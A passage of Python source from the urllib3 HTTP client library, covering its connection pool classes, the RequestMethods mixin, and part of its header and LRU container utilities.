from .packages.ssl_match_hostname import CertificateError
from .packages import six
from .connection import (
    port_by_scheme,
    DummyConnection,
    HTTPConnection, HTTPSConnection, VerifiedHTTPSConnection,
    HTTPException, BaseSSLError,
)
from .request import RequestMethods
from .response import HTTPResponse

from .util.connection import is_connection_dropped
from .util.response import assert_header_parsing
from .util.retry import Retry
from .util.timeout import Timeout
from .util.url import get_host, Url


xrange = six.moves.xrange

log = logging.getLogger(__name__)

_Default = object()


# Pool objects
class ConnectionPool(object):
    """
    Base class for all connection pools, such as
    :class:`.HTTPConnectionPool` and :class:`.HTTPSConnectionPool`.
    """

    scheme = None
    QueueCls = LifoQueue

    def __init__(self, host, port=None):
        if not host:
            raise LocationValueError("No host specified.")

        # httplib doesn't like it when we include brackets in ipv6 addresses
        # Specifically, if we include brackets but also pass the port then
        # httplib crazily doubles up the square brackets on the Host header.
        # Instead, we need to make sure we never pass ``None`` as the port.
        # However, for backward compatibility reasons we can't actually
        # *assert* that.
        self.host = host.strip('[]')
        self.port = port

    def __str__(self):
        return '%s(host=%r, port=%r)' % (type(self).__name__,
                                         self.host, self.port)

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.close()
        # Return False to re-raise any potential exceptions
        return False

    def close(self):
        """
        Close all pooled connections and disable the pool.
        """
        pass


# This is taken from http://hg.python.org/cpython/file/7aaba721ebc0/Lib/socket.py#l252
_blocking_errnos = set([errno.EAGAIN, errno.EWOULDBLOCK])


class HTTPConnectionPool(ConnectionPool, RequestMethods):
    """
    Thread-safe connection pool for one host.

    :param host:
        Host used for this HTTP Connection (e.g. "localhost"), passed into
        :class:`httplib.HTTPConnection`.

    :param port:
        Port used for this HTTP Connection (None is equivalent to 80), passed
        into :class:`httplib.HTTPConnection`.

    :param strict:
        Causes BadStatusLine to be raised if the status line can't be parsed
        as a valid HTTP/1.0 or 1.1 status line, passed into
        :class:`httplib.HTTPConnection`.

        .. note::
           Only works in Python 2. This parameter is ignored in Python 3.

    :param timeout:
        Socket timeout in seconds for each individual connection. This can
        be a float or integer, which sets the timeout for the HTTP request,
        or an instance of :class:`urllib3.util.Timeout` which gives you more
        fine-grained control over request timeouts. After the constructor has
        been parsed, this is always a `urllib3.util.Timeout` object.

    :param maxsize:
        Number of connections to save that can be reused. More than 1 is useful
        in multithreaded situations. If ``block`` is set to False, more
        connections will be created but they will not be saved once they've
        been used.

    :param block:
        If set to True, no more than ``maxsize`` connections will be used at
        a time. When no free connections are available, the call will block
        until a connection has been released. This is a useful side effect for
        particular multithreaded situations where one does not want to use more
        than maxsize connections per host to prevent flooding.

    :param headers:
        Headers to include with all requests, unless other headers are given
        explicitly.

    :param retries:
        Retry configuration to use by default with requests in this pool.

    :param _proxy:
        Parsed proxy URL, should not be used directly, instead, see
        :class:`urllib3.connectionpool.ProxyManager`"

    :param _proxy_headers:
        A dictionary with proxy headers, should not be used directly,
        instead, see :class:`urllib3.connectionpool.ProxyManager`"

    :param \**conn_kw:
        Additional parameters are used to create fresh :class:`urllib3.connection.HTTPConnection`,
        :class:`urllib3.connection.HTTPSConnection` instances.
    """

    scheme = 'http'
    ConnectionCls = HTTPConnection
    ResponseCls = HTTPResponse

    def __init__(self, host, port=None, strict=False,
                 timeout=Timeout.DEFAULT_TIMEOUT, maxsize=1, block=False,
                 headers=None, retries=None,
                 _proxy=None, _proxy_headers=None,
                 **conn_kw):
        ConnectionPool.__init__(self, host, port)
        RequestMethods.__init__(self, headers)

        self.strict = strict

        if not isinstance(timeout, Timeout):
            timeout = Timeout.from_float(timeout)

        if retries is None:
            retries = Retry.DEFAULT

        self.timeout = timeout
        self.retries = retries

        self.pool = self.QueueCls(maxsize)
        self.block = block

        self.proxy = _proxy
        self.proxy_headers = _proxy_headers or {}

        # Fill the queue up so that doing get() on it will block properly
        for _ in xrange(maxsize):
            self.pool.put(None)

        # These are mostly for testing and debugging purposes.
        self.num_connections = 0
        self.num_requests = 0
        self.conn_kw = conn_kw

        if self.proxy:
            # Enable Nagle's algorithm for proxies, to avoid packet fragmentation.
            # We cannot know if the user has added default socket options, so we cannot replace the
            # list.
            self.conn_kw.setdefault('socket_options', [])

    def _new_conn(self):
        """
        Return a fresh :class:`HTTPConnection`.
        """
        self.num_connections += 1
        log.info("Starting new HTTP connection (%d): %s",
                 self.num_connections, self.host)

        conn = self.ConnectionCls(host=self.host, port=self.port,
                                  timeout=self.timeout.connect_timeout,
                                  strict=self.strict, **self.conn_kw)
        return conn

    def _get_conn(self, timeout=None):
        """
        Get a connection. Will return a pooled connection if one is available.

        If no connections are available and :prop:`.block` is ``False``, then a
        fresh connection is returned.

        :param timeout:
            Seconds to wait before giving up and raising
            :class:`urllib3.exceptions.EmptyPoolError` if the pool is empty and
            :prop:`.block` is ``True``.
        """
        conn = None
        try:
            conn = self.pool.get(block=self.block, timeout=timeout)

        except AttributeError:  # self.pool is None
            raise ClosedPoolError(self, "Pool is closed.")

        except Empty:
            if self.block:
                raise EmptyPoolError(self,
                                     "Pool reached maximum size and no more "
                                     "connections are allowed.")
            pass  # Oh well, we'll create a new connection then

        # If this is a persistent connection, check if it got disconnected
        if conn and is_connection_dropped(conn):
            log.info("Resetting dropped connection: %s", self.host)
            conn.close()
            if getattr(conn, 'auto_open', 1) == 0:
                # This is a proxied connection that has been mutated by
                # httplib._tunnel() and cannot be reused (since it would
                # attempt to bypass the proxy)
                conn = None

        return conn or self._new_conn()

    def _put_conn(self, conn):
        """
        Put a connection back into the pool.

        :param conn:
            Connection object for the current host and port as returned by
            :meth:`._new_conn` or :meth:`._get_conn`.

        If the pool is already full, the connection is closed and discarded
        because we exceeded maxsize. If connections are discarded frequently,
        then maxsize should be increased.

        If the pool is closed, then the connection will be closed and discarded.
        """
        try:
            self.pool.put(conn, block=False)
            return  # Everything is dandy, done.
        except AttributeError:
            # self.pool is None.
            pass
        except Full:
            # This should never happen if self.block == True
            log.warning(
                "Connection pool is full, discarding connection: %s",
                self.host)

        # Connection never got put back into the pool, close it.
        if conn:
            conn.close()

    def _validate_conn(self, conn):
        """
        Called right before a request is made, after the socket is created.
        """
        pass

    def _prepare_proxy(self, conn):
        # Nothing to do for HTTP connections.
        pass

    def _get_timeout(self, timeout):
        """ Helper that always returns a :class:`urllib3.util.Timeout` """
        if timeout is _Default:
            return self.timeout.clone()

        if isinstance(timeout, Timeout):
            return timeout.clone()
        else:
            # User passed us an int/float. This is for backwards compatibility,
            # can be removed later
            return Timeout.from_float(timeout)

    def _raise_timeout(self, err, url, timeout_value):
        """Is the error actually a timeout? Will raise a ReadTimeout or pass"""

        if isinstance(err, SocketTimeout):
            raise ReadTimeoutError(self, url, "Read timed out. (read timeout=%s)" % timeout_value)

        # See the above comment about EAGAIN in Python 3. In Python 2 we have
        # to specifically catch it and throw the timeout error
        if hasattr(err, 'errno') and err.errno in _blocking_errnos:
            raise ReadTimeoutError(self, url, "Read timed out. (read timeout=%s)" % timeout_value)

        # Catch possible read timeouts thrown as SSL errors. If not the
        # case, rethrow the original. We need to do this because of:
        # http://bugs.python.org/issue10272
        if 'timed out' in str(err) or 'did not complete (read)' in str(err):  # Python 2.6
            raise ReadTimeoutError(self, url, "Read timed out. (read timeout=%s)" % timeout_value)

    def _make_request(self, conn, method, url, timeout=_Default, chunked=False,
                      **httplib_request_kw):
        """
        Perform a request on a given urllib connection object taken from our
        pool.

        :param conn:
            a connection from one of our connection pools

        :param timeout:
            Socket timeout in seconds for the request. This can be a
            float or integer, which will set the same timeout value for
            the socket connect and the socket read, or an instance of
            :class:`urllib3.util.Timeout`, which gives you more fine-grained
            control over your timeouts.
        """
        self.num_requests += 1

        timeout_obj = self._get_timeout(timeout)
        timeout_obj.start_connect()
        conn.timeout = timeout_obj.connect_timeout

        # Trigger any extra validation we need to do.
        try:
            self._validate_conn(conn)
        except (SocketTimeout, BaseSSLError) as e:
            # Py2 raises this as a BaseSSLError, Py3 raises it as socket timeout.
            self._raise_timeout(err=e, url=url, timeout_value=conn.timeout)
            raise

        # conn.request() calls httplib.*.request, not the method in
        # urllib3.request. It also calls makefile (recv) on the socket.
        if chunked:
            conn.request_chunked(method, url, **httplib_request_kw)
        else:
            conn.request(method, url, **httplib_request_kw)

        # Reset the timeout for the recv() on the socket
        read_timeout = timeout_obj.read_timeout

        # App Engine doesn't have a sock attr
        if getattr(conn, 'sock', None):
            # In Python 3 socket.py will catch EAGAIN and return None when you
            # try and read into the file pointer created by http.client, which
            # instead raises a BadStatusLine exception. Instead of catching
            # the exception and assuming all BadStatusLine exceptions are read
            # timeouts, check for a zero timeout before making the request.
            if read_timeout == 0:
                raise ReadTimeoutError(
                    self, url, "Read timed out. (read timeout=%s)" % read_timeout)
            if read_timeout is Timeout.DEFAULT_TIMEOUT:
                conn.sock.settimeout(socket.getdefaulttimeout())
            else:  # None or a value
                conn.sock.settimeout(read_timeout)

        # Receive the response from the server
        try:
            try:  # Python 2.7, use buffering of HTTP responses
                httplib_response = conn.getresponse(buffering=True)
            except TypeError:  # Python 2.6 and older, Python 3
                try:
                    httplib_response = conn.getresponse()
                except Exception as e:
                    # Remove the TypeError from the exception chain in Python 3;
                    # otherwise it looks like a programming error was the cause.
                    six.raise_from(e, None)
        except (SocketTimeout, BaseSSLError, SocketError) as e:
            self._raise_timeout(err=e, url=url, timeout_value=read_timeout)
            raise

        # AppEngine doesn't have a version attr.
        http_version = getattr(conn, '_http_vsn_str', 'HTTP/?')
        log.debug("\"%s %s %s\" %s %s", method, url, http_version,
                  httplib_response.status, httplib_response.length)

        try:
            assert_header_parsing(httplib_response.msg)
        except HeaderParsingError as hpe:  # Platform-specific: Python 3
            log.warning(
                'Failed to parse headers (url=%s): %s',
                self._absolute_url(url), hpe, exc_info=True)

        return httplib_response

    def _absolute_url(self, path):
        return Url(scheme=self.scheme, host=self.host, port=self.port, path=path).url

    def close(self):
        """
        Close all pooled connections and disable the pool.
        """
        # Disable access to the pool
        old_pool, self.pool = self.pool, None

        try:
            while True:
                conn = old_pool.get(block=False)
                if conn:
                    conn.close()

        except Empty:
            pass  # Done.

    def is_same_host(self, url):
        """
        Check if the given ``url`` is a member of the same host as this
        connection pool.
        """
        if url.startswith('/'):
            return True

        # TODO: Add optional support for socket.gethostbyname checking.
        scheme, host, port = get_host(url)

        # Use explicit default port for comparison when none is given
        if self.port and not port:
            port = port_by_scheme.get(scheme)
        elif not self.port and port == port_by_scheme.get(scheme):
            port = None

        return (scheme, host, port) == (self.scheme, self.host, self.port)

    def urlopen(self, method, url, body=None, headers=None, retries=None,
                redirect=True, assert_same_host=True, timeout=_Default,
                pool_timeout=None, release_conn=None, chunked=False,
                **response_kw):
        """
        Get a connection from the pool and perform an HTTP request. This is the
        lowest level call for making a request, so you'll need to specify all
        the raw details.

        .. note::

           More commonly, it's appropriate to use a convenience method provided
           by :class:`.RequestMethods`, such as :meth:`request`.

        .. note::

           `release_conn` will only behave as expected if
           `preload_content=False` because we want to make
           `preload_content=False` the default behaviour someday soon without
           breaking backwards compatibility.

        :param method:
            HTTP request method (such as GET, POST, PUT, etc.)

        :param body:
            Data to send in the request body (useful for creating
            POST requests, see HTTPConnectionPool.post_url for
            more convenience).

        :param headers:
            Dictionary of custom headers to send, such as User-Agent,
            If-None-Match, etc. If None, pool headers are used. If provided,
            these headers completely replace any pool-specific headers.

        :param retries:
            Configure the number of retries to allow before raising a
            :class:`~urllib3.exceptions.MaxRetryError` exception.

            Pass ``None`` to retry until you receive a response. Pass a
            :class:`~urllib3.util.retry.Retry` object for fine-grained control
            over different types of retries.
            Pass an integer number to retry connection errors that many times,
            but no other types of errors. Pass zero to never retry.

            If ``False``, then retries are disabled and any exception is raised
            immediately. Also, instead of raising a MaxRetryError on redirects,
            the redirect response will be returned.

        :type retries: :class:`~urllib3.util.retry.Retry`, False, or an int.

        :param redirect:
            If True, automatically handle redirects (status codes 301, 302,
            303, 307, 308). Each redirect counts as a retry. Disabling retries
            will disable redirect, too.

        :param assert_same_host:
            If ``True``, will make sure that the host of the pool requests is
            consistent else will raise HostChangedError. When False, you can
            use the pool on an HTTP proxy and request foreign hosts.

        :param timeout:
            If specified, overrides the default timeout for this one
            request. It may be a float (in seconds) or an instance of
            :class:`urllib3.util.Timeout`.

        :param pool_timeout:
            If set and the pool is set to block=True, then this method will
            block for ``pool_timeout`` seconds and raise EmptyPoolError if no
            connection is available within the time period.

        :param release_conn:
            If False, then the urlopen call will not release the connection
            back into the pool once a response is received (but will release if
            you read the entire contents of the response such as when
            `preload_content=True`). This is useful if you're not preloading
            the response's content immediately. You will need to call
            ``r.release_conn()`` on the response ``r`` to return the connection
            back into the pool. If None, it takes the value of
            ``response_kw.get('preload_content', True)``.

        :param chunked:
            If True, urllib3 will send the body using chunked transfer
            encoding. Otherwise, urllib3 will send the body using the standard
            content-length form. Defaults to False.

        :param \**response_kw:
            Additional parameters are passed to
            :meth:`urllib3.response.HTTPResponse.from_httplib`
        """
        if headers is None:
            headers = self.headers

        if not isinstance(retries, Retry):
            retries = Retry.from_int(retries, redirect=redirect, default=self.retries)

        if release_conn is None:
            release_conn = response_kw.get('preload_content', True)

        # Check host
        if assert_same_host and not self.is_same_host(url):
            raise HostChangedError(self, url, retries)

        conn = None

        # Track whether `conn` needs to be released before
        # returning/raising/recursing. Update this variable if necessary, and
        # leave `release_conn` constant throughout the function. That way, if
        # the function recurses, the original value of `release_conn` will be
        # passed down into the recursive call, and its value will be respected.
        #
        # See issue #651 [1] for details.
        #
        # [1] <https://github.com/shazow/urllib3/issues/651>
        release_this_conn = release_conn

        # Merge the proxy headers. Only do this in HTTP. We have to copy the
        # headers dict so we can safely change it without those changes being
        # reflected in anyone else's copy.
        if self.scheme == 'http':
            headers = headers.copy()
            headers.update(self.proxy_headers)

        # Must keep the exception bound to a separate variable or else Python 3
        # complains about UnboundLocalError.
        err = None

        # Keep track of whether we cleanly exited the except block. This
        # ensures we do proper cleanup in finally.
        clean_exit = False

        try:
            # Request a connection from the queue.
            timeout_obj = self._get_timeout(timeout)
            conn = self._get_conn(timeout=pool_timeout)

            conn.timeout = timeout_obj.connect_timeout

            is_new_proxy_conn = self.proxy is not None and not getattr(conn, 'sock', None)
            if is_new_proxy_conn:
                self._prepare_proxy(conn)

            # Make the request on the httplib connection object.
            httplib_response = self._make_request(conn, method, url,
                                                  timeout=timeout_obj,
                                                  body=body, headers=headers,
                                                  chunked=chunked)

            # If we're going to release the connection in ``finally:``, then
            # the response doesn't need to know about the connection. Otherwise
            # it will also try to release it and we'll have a double-release
            # mess.
            response_conn = conn if not release_conn else None

            # Import httplib's response into our own wrapper object
            response = self.ResponseCls.from_httplib(httplib_response,
                                                     pool=self,
                                                     connection=response_conn,
                                                     **response_kw)

            # Everything went great!
            clean_exit = True

        except Empty:
            # Timed out by queue.
            raise EmptyPoolError(self, "No pool connections are available.")

        except (BaseSSLError, CertificateError) as e:
            # Close the connection. If a connection is reused on which there
            # was a Certificate error, the next request will certainly raise
            # another Certificate error.
            clean_exit = False
            raise SSLError(e)

        except SSLError:
            # Treat SSLError separately from BaseSSLError to preserve
            # traceback.
            clean_exit = False
            raise

        except (TimeoutError, HTTPException, SocketError, ProtocolError) as e:
            # Discard the connection for these exceptions. It will be
            # be replaced during the next _get_conn() call.
            clean_exit = False

            if isinstance(e, (SocketError, NewConnectionError)) and self.proxy:
                e = ProxyError('Cannot connect to proxy.', e)
            elif isinstance(e, (SocketError, HTTPException)):
                e = ProtocolError('Connection aborted.', e)

            retries = retries.increment(method, url, error=e, _pool=self,
                                        _stacktrace=sys.exc_info()[2])
            retries.sleep()

            # Keep track of the error for the retry warning.
            err = e

        finally:
            if not clean_exit:
                # We hit some kind of exception, handled or otherwise. We need
                # to throw the connection away unless explicitly told not to.
                # Close the connection, set the variable to None, and make sure
                # we put the None back in the pool to avoid leaking it.
                conn = conn and conn.close()
                release_this_conn = True

            if release_this_conn:
                # Put the connection back to be reused. If the connection is
                # expired then it will be None, which will get replaced with a
                # fresh connection during _get_conn.
                self._put_conn(conn)

        if not conn:
            # Try again
            log.warning("Retrying (%r) after connection "
                        "broken by '%r': %s", retries, err, url)
            return self.urlopen(method, url, body, headers, retries,
                                redirect, assert_same_host,
                                timeout=timeout, pool_timeout=pool_timeout,
                                release_conn=release_conn, **response_kw)

        # Handle redirect?
        redirect_location = redirect and response.get_redirect_location()
        if redirect_location:
            if response.status == 303:
                method = 'GET'

            try:
                retries = retries.increment(method, url, response=response, _pool=self)
            except MaxRetryError:
                if retries.raise_on_redirect:
                    # Release the connection for this response, since we're not
                    # returning it to be released manually.
                    response.release_conn()
                    raise
                return response

            log.info("Redirecting %s -> %s", url, redirect_location)
            return self.urlopen(
                method, redirect_location, body, headers,
                retries=retries, redirect=redirect,
                assert_same_host=assert_same_host,
                timeout=timeout, pool_timeout=pool_timeout,
                release_conn=release_conn, **response_kw)

        # Check if we should retry the HTTP response.
        if retries.is_forced_retry(method, status_code=response.status):
            try:
                retries = retries.increment(method, url, response=response, _pool=self)
            except MaxRetryError:
                if retries.raise_on_status:
                    # Release the connection for this response, since we're not
                    # returning it to be released manually.
                    response.release_conn()
                    raise
                return response
            retries.sleep()
            log.info("Forced retry: %s", url)
            return self.urlopen(
                method, url, body, headers,
                retries=retries, redirect=redirect,
                assert_same_host=assert_same_host,
                timeout=timeout, pool_timeout=pool_timeout,
                release_conn=release_conn, **response_kw)

        return response


class HTTPSConnectionPool(HTTPConnectionPool):
    """
    Same as :class:`.HTTPConnectionPool`, but HTTPS.

    When Python is compiled with the :mod:`ssl` module, then
    :class:`.VerifiedHTTPSConnection` is used, which *can* verify certificates,
    instead of :class:`.HTTPSConnection`.

    :class:`.VerifiedHTTPSConnection` uses one of ``assert_fingerprint``,
    ``assert_hostname`` and ``host`` in this order to verify connections.
    If ``assert_hostname`` is False, no verification is done.

    The ``key_file``, ``cert_file``, ``cert_reqs``, ``ca_certs``,
    ``ca_cert_dir``, and ``ssl_version`` are only used if :mod:`ssl` is
    available and are fed into :meth:`urllib3.util.ssl_wrap_socket` to upgrade
    the connection socket into an SSL socket.
    """

    scheme = 'https'
    ConnectionCls = HTTPSConnection

    def __init__(self, host, port=None,
                 strict=False, timeout=Timeout.DEFAULT_TIMEOUT, maxsize=1,
                 block=False, headers=None, retries=None,
                 _proxy=None, _proxy_headers=None,
                 key_file=None, cert_file=None, cert_reqs=None,
                 ca_certs=None, ssl_version=None,
                 assert_hostname=None, assert_fingerprint=None,
                 ca_cert_dir=None, **conn_kw):

        HTTPConnectionPool.__init__(self, host, port, strict, timeout, maxsize,
                                    block, headers, retries, _proxy, _proxy_headers,
                                    **conn_kw)

        if ca_certs and cert_reqs is None:
            cert_reqs = 'CERT_REQUIRED'

        self.key_file = key_file
        self.cert_file = cert_file
        self.cert_reqs = cert_reqs
        self.ca_certs = ca_certs
        self.ca_cert_dir = ca_cert_dir
        self.ssl_version = ssl_version
        self.assert_hostname = assert_hostname
        self.assert_fingerprint = assert_fingerprint

    def _prepare_conn(self, conn):
        """
        Prepare the ``connection`` for :meth:`urllib3.util.ssl_wrap_socket`
        and establish the tunnel if proxy is used.
        """

        if isinstance(conn, VerifiedHTTPSConnection):
            conn.set_cert(key_file=self.key_file,
                          cert_file=self.cert_file,
                          cert_reqs=self.cert_reqs,
                          ca_certs=self.ca_certs,
                          ca_cert_dir=self.ca_cert_dir,
                          assert_hostname=self.assert_hostname,
                          assert_fingerprint=self.assert_fingerprint)
            conn.ssl_version = self.ssl_version

        return conn

    def _prepare_proxy(self, conn):
        """
        Establish tunnel connection early, because otherwise httplib
        would improperly set Host: header to proxy's IP:port.
        """
        # Python 2.7+
        try:
            set_tunnel = conn.set_tunnel
        except AttributeError:  # Platform-specific: Python 2.6
            set_tunnel = conn._set_tunnel

        if sys.version_info <= (2, 6, 4) and not self.proxy_headers:  # Python 2.6.4 and older
            set_tunnel(self.host, self.port)
        else:
            set_tunnel(self.host, self.port, self.proxy_headers)

        conn.connect()

    def _new_conn(self):
        """
        Return a fresh :class:`httplib.HTTPSConnection`.
        """
        self.num_connections += 1
        log.info("Starting new HTTPS connection (%d): %s",
                 self.num_connections, self.host)

        if not self.ConnectionCls or self.ConnectionCls is DummyConnection:
            raise SSLError("Can't connect to HTTPS URL because the SSL "
                           "module is not available.")

        actual_host = self.host
        actual_port = self.port
        if self.proxy is not None:
            actual_host = self.proxy.host
            actual_port = self.proxy.port

        conn = self.ConnectionCls(host=actual_host, port=actual_port,
                                  timeout=self.timeout.connect_timeout,
                                  strict=self.strict, **self.conn_kw)

        return self._prepare_conn(conn)

    def _validate_conn(self, conn):
        """
        Called right before a request is made, after the socket is created.
        """
        super(HTTPSConnectionPool, self)._validate_conn(conn)

        # Force connect early to allow us to validate the connection.
        if not getattr(conn, 'sock', None):  # AppEngine might not have  `.sock`
            conn.connect()

        if not conn.is_verified:
            warnings.warn((
                'Unverified HTTPS request is being made. '
                'Adding certificate verification is strongly advised. See: '
                'https://urllib3.readthedocs.io/en/latest/security.html'),
                InsecureRequestWarning)


def connection_from_url(url, **kw):
    """
    Given a url, return an :class:`.ConnectionPool` instance of its host.

    This is a shortcut for not having to parse out the scheme, host, and port
    of the url before creating an :class:`.ConnectionPool` instance.

    :param url:
        Absolute URL string that must include the scheme. Port is optional.

    :param \**kw:
        Passes additional parameters to the constructor of the appropriate
        :class:`.ConnectionPool`. Useful for specifying things like
        timeout, maxsize, headers, etc.

    Example::

        >>> conn = connection_from_url('http://google.com/')
        >>> r = conn.request('GET', '/')
    """
    scheme, host, port = get_host(url)
    port = port or port_by_scheme.get(scheme, 80)
    if scheme == 'https':
        return HTTPSConnectionPool(host, port=port, **kw)
    else:
        return HTTPConnectionPool(host, port=port, **kw)






from __future__ import absolute_import
try:
    from urllib.parse import urlencode
except ImportError:
    from urllib import urlencode

from .filepost import encode_multipart_formdata


__all__ = ['RequestMethods']


class RequestMethods(object):
    """
    Convenience mixin for classes who implement a :meth:`urlopen` method, such
    as :class:`~urllib3.connectionpool.HTTPConnectionPool` and
    :class:`~urllib3.poolmanager.PoolManager`.

    Provides behavior for making common types of HTTP request methods and
    decides which type of request field encoding to use.

    Specifically,

    :meth:`.request_encode_url` is for sending requests whose fields are
    encoded in the URL (such as GET, HEAD, DELETE).

    :meth:`.request_encode_body` is for sending requests whose fields are
    encoded in the *body* of the request using multipart or www-form-urlencoded
    (such as for POST, PUT, PATCH).

    :meth:`.request` is for making any kind of request, it will look up the
    appropriate encoding format and use one of the above two methods to make
    the request.

    Initializer parameters:

    :param headers:
        Headers to include with all requests, unless other headers are given
        explicitly.
    """

    _encode_url_methods = set(['DELETE', 'GET', 'HEAD', 'OPTIONS'])

    def __init__(self, headers=None):
        self.headers = headers or {}

    def urlopen(self, method, url, body=None, headers=None,
                encode_multipart=True, multipart_boundary=None,
                **kw):  # Abstract
        raise NotImplemented("Classes extending RequestMethods must implement "
                             "their own ``urlopen`` method.")

    def request(self, method, url, fields=None, headers=None, **urlopen_kw):
        """
        Make a request using :meth:`urlopen` with the appropriate encoding of
        ``fields`` based on the ``method`` used.

        This is a convenience method that requires the least amount of manual
        effort. It can be used in most situations, while still having the
        option to drop down to more specific methods when necessary, such as
        :meth:`request_encode_url`, :meth:`request_encode_body`,
        or even the lowest level :meth:`urlopen`.
        """
        method = method.upper()

        if method in self._encode_url_methods:
            return self.request_encode_url(method, url, fields=fields,
                                           headers=headers,
                                           **urlopen_kw)
        else:
            return self.request_encode_body(method, url, fields=fields,
                                            headers=headers,
                                            **urlopen_kw)

    def request_encode_url(self, method, url, fields=None, headers=None,
                           **urlopen_kw):
        """
        Make a request using :meth:`urlopen` with the ``fields`` encoded in
        the url. This is useful for request methods like GET, HEAD, DELETE, etc.
        """
        if headers is None:
            headers = self.headers

        extra_kw = {'headers': headers}
        extra_kw.update(urlopen_kw)

        if fields:
            url += '?' + urlencode(fields)

        return self.urlopen(method, url, **extra_kw)

    def request_encode_body(self, method, url, fields=None, headers=None,
                            encode_multipart=True, multipart_boundary=None,
                            **urlopen_kw):
        """
        Make a request using :meth:`urlopen` with the ``fields`` encoded in
        the body. This is useful for request methods like POST, PUT, PATCH, etc.

        When ``encode_multipart=True`` (default), then
        :meth:`urllib3.filepost.encode_multipart_formdata` is used to encode
        the payload with the appropriate content type. Otherwise
        :meth:`urllib.urlencode` is used with the
        'application/x-www-form-urlencoded' content type.

        Multipart encoding must be used when posting files, and it's reasonably
        safe to use it in other times too. However, it may break request
        signing, such as with OAuth.

        Supports an optional ``fields`` parameter of key/value strings AND
        key/filetuple. A filetuple is a (filename, data, MIME type) tuple where
        the MIME type is optional. For example::

            fields = {
                'foo': 'bar',
                'fakefile': ('foofile.txt', 'contents of foofile'),
                'realfile': ('barfile.txt', open('realfile').read()),
                'typedfile': ('bazfile.bin', open('bazfile').read(),
                              'image/jpeg'),
                'nonamefile': 'contents of nonamefile field',
            }

        When uploading a file, providing a filename (the first parameter of the
        tuple) is optional but recommended to best mimick behavior of browsers.

        Note that if ``headers`` are supplied, the 'Content-Type' header will
        be overwritten because it depends on the dynamic random boundary string
        which is used to compose the body of the request. The random boundary
        string can be explicitly set with the ``multipart_boundary`` parameter.
        """
        if headers is None:
            headers = self.headers

        extra_kw = {'headers': {}}

        if fields:
            if 'body' in urlopen_kw:
                raise TypeError(
                    "request got values for both 'fields' and 'body', can only specify one.")

            if encode_multipart:
                body, content_type = encode_multipart_formdata(fields, boundary=multipart_boundary)
            else:
                body, content_type = urlencode(fields), 'application/x-www-form-urlencoded'

            extra_kw['body'] = body
            extra_kw['headers'] = {'Content-Type': content_type}

        extra_kw['headers'].update(headers)
        extra_kw.update(urlopen_kw)

        return self.urlopen(method, url, **extra_kw)






from __future__ import absolute_import
from collections import Mapping, MutableMapping
try:
    from threading import RLock
except ImportError:  # Platform-specific: No threads available
    class RLock:
        def __enter__(self):
            pass

        def __exit__(self, exc_type, exc_value, traceback):
            pass


try:  # Python 2.7+
    from collections import OrderedDict
except ImportError:
    from .packages.ordered_dict import OrderedDict
from .packages.six import iterkeys, itervalues, PY3


__all__ = ['RecentlyUsedContainer', 'HTTPHeaderDict']


_Null = object()


class RecentlyUsedContainer(MutableMapping):
    """
    Provides a thread-safe dict-like container which maintains up to
    ``maxsize`` keys while throwing away the least-recently-used keys beyond
    ``maxsize``.

    :param maxsize:
        Maximum number of recent elements to retain.

    :param dispose_func:
        Every time an item is evicted from the container,
        ``dispose_func(value)`` is called.  Callback which will get called
    """

    ContainerCls = OrderedDict

    def __init__(self, maxsize=10, dispose_func=None):
        self._maxsize = maxsize
        self.dispose_func = dispose_func

        self._container = self.ContainerCls()
        self.lock = RLock()

    def __getitem__(self, key):
        # Re-insert the item, moving it to the end of the eviction line.
        with self.lock:
            item = self._container.pop(key)
            self._container[key] = item
            return item

    def __setitem__(self, key, value):
        evicted_value = _Null
        with self.lock:
            # Possibly evict the existing value of 'key'
            evicted_value = self._container.get(key, _Null)
            self._container[key] = value

            # If we didn't evict an existing value, we might have to evict the
            # least recently used item from the beginning of the container.
            if len(self._container) > self._maxsize:
                _key, evicted_value = self._container.popitem(last=False)

        if self.dispose_func and evicted_value is not _Null:
            self.dispose_func(evicted_value)

    def __delitem__(self, key):
        with self.lock:
            value = self._container.pop(key)

        if self.dispose_func:
            self.dispose_func(value)

    def __len__(self):
        with self.lock:
            return len(self._container)

    def __iter__(self):
        raise NotImplementedError('Iteration over this class is unlikely to be threadsafe.')

    def clear(self):
        with self.lock:
            # Copy pointers to all values, then wipe the mapping
            values = list(itervalues(self._container))
            self._container.clear()

        if self.dispose_func:
            for value in values:
                self.dispose_func(value)

    def keys(self):
        with self.lock:
            return list(iterkeys(self._container))


class HTTPHeaderDict(MutableMapping):
    """
    :param headers:
        An iterable of field-value pairs. Must not contain multiple field names
        when compared case-insensitively.

    :param kwargs:
        Additional field-value pairs to pass in to ``dict.update``.

    A ``dict`` like container for storing HTTP Headers.

    Field names are stored and compared case-insensitively in compliance with
    RFC 7230. Iteration provides the first case-sensitive key seen for each
    case-insensitive pair.

    Using ``__setitem__`` syntax overwrites fields that compare equal
    case-insensitively in order to maintain ``dict``'s api. For fields that
    compare equal, instead create a new ``HTTPHeaderDict`` and use ``.add``
    in a loop.

    If multiple fields that are equal case-insensitively are passed to the
    constructor or ``.update``, the behavior is undefined and some will be
    lost.

    >>> headers = HTTPHeaderDict()
    >>> headers.add('Set-Cookie', 'foo=bar')
    >>> headers.add('set-cookie', 'baz=quxx')
    >>> headers['content-length'] = '7'
    >>> headers['SET-cookie']
    'foo=bar, baz=quxx'
    >>> headers['Content-Length']
    '7'
    """

    def __init__(self, headers=None, **kwargs):
        super(HTTPHeaderDict, self).__init__()
        self._container = OrderedDict()
        if headers is not None:
            if isinstance(headers, HTTPHeaderDict):
                self._copy_from(headers)
            else:
                self.extend(headers)
        if kwargs:
            self.extend(kwargs)

    def __setitem__(self, key, val):
        self._container[key.lower()] = (key, val)
        return self._container[key.lower()]

    def __getitem__(self, key):
        val = self._container[key.lower()]
        return ', '.join(val[1:])

    def __delitem__(self, key):
        del self._container[key.lower()]

    def __contains__(self, key):
        return key.lower() in self._container

    def __eq__(self, other):
        if not isinstance(other, Mapping) and not hasattr(other, 'keys'):
            return False
        if not isinstance(other, type(self)):
            other = type(self)(other)
        return (dict((k.lower(), v) for k, v in self.itermerged()) ==
                dict((k.lower(), v) for k, v in other.itermerged()))

    def __ne__(self, other):
        return not self.__eq__(other)

    if not PY3:  # Python 2
        iterkeys = MutableMapping.iterkeys
        itervalues = MutableMapping.itervalues

    __marker = object()

    def __len__(self):
        return len(self._container)

    def __iter__(self):
        # Only provide the originally cased names
        for vals in self._container.values():
            yield vals[0]

    def pop(self, key, default=__marker):
